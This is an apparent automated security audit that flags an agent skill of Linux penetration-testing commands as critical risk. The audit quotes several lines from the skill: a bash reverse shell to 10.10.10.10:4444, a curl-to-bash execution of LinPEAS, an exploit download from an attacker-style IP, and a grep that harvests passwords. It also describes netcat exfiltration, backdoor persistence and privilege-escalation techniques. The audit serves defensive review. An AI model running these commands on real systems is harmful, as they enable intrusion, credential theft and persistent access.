linux-pentesting-commands

Fail

Audited by Gen Agent Trust Hub on Jun 12, 2026

Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONEXTERNAL_DOWNLOADSCREDENTIALS_UNSAFE
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill documents and provides commands for downloading and executing scripts directly in the shell using piped execution patterns (e.g., curl -L ... | bash for LinPEAS).
  • [COMMAND_EXECUTION]: Provides functional payloads for establishing reverse shells using various interpreters, including Bash, Python, Perl, and PHP (e.g., bash -i >& /dev/tcp/10.10.10.10/4444 0>&1). It also includes instructions for persistent backdoors via cron jobs and SSH authorized keys.
  • [DATA_EXFILTRATION]: Contains specific command examples for exfiltrating sensitive data, such as system configuration files from /etc, by compressing and piping them to external network listeners via Netcat.
  • [EXTERNAL_DOWNLOADS]: Instructs the download of exploitation scripts and payloads from both public GitHub repositories and arbitrary, attacker-controlled IP addresses (e.g., http://10.10.10.10:8000/exploit.sh).
  • [CREDENTIALS_UNSAFE]: Provides commands designed to harvest secrets and credentials from the file system, command history, and application configuration files (e.g., grep -r "password" /etc).
  • [PRIVILEGE_ESCALATION]: Outlines multiple techniques for gaining unauthorized root access, including environment variable manipulation (LD_PRELOAD), Path hijacking (export PATH=/tmp:$PATH), and Docker escapes.
Recommendations
  • HIGH: Downloads and executes remote code from: http://10.10.10.10:8000/exploit.sh, https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
  • CRITICAL: 1 infected file(s) detected - DO NOT USE
  • AI detected serious security threats
Audit Metadata
Risk Level
CRITICAL
Analyzed
Jun 12, 2026, 08:50 PM
Security Audit — agent-trust-hub — linux-pentesting-commands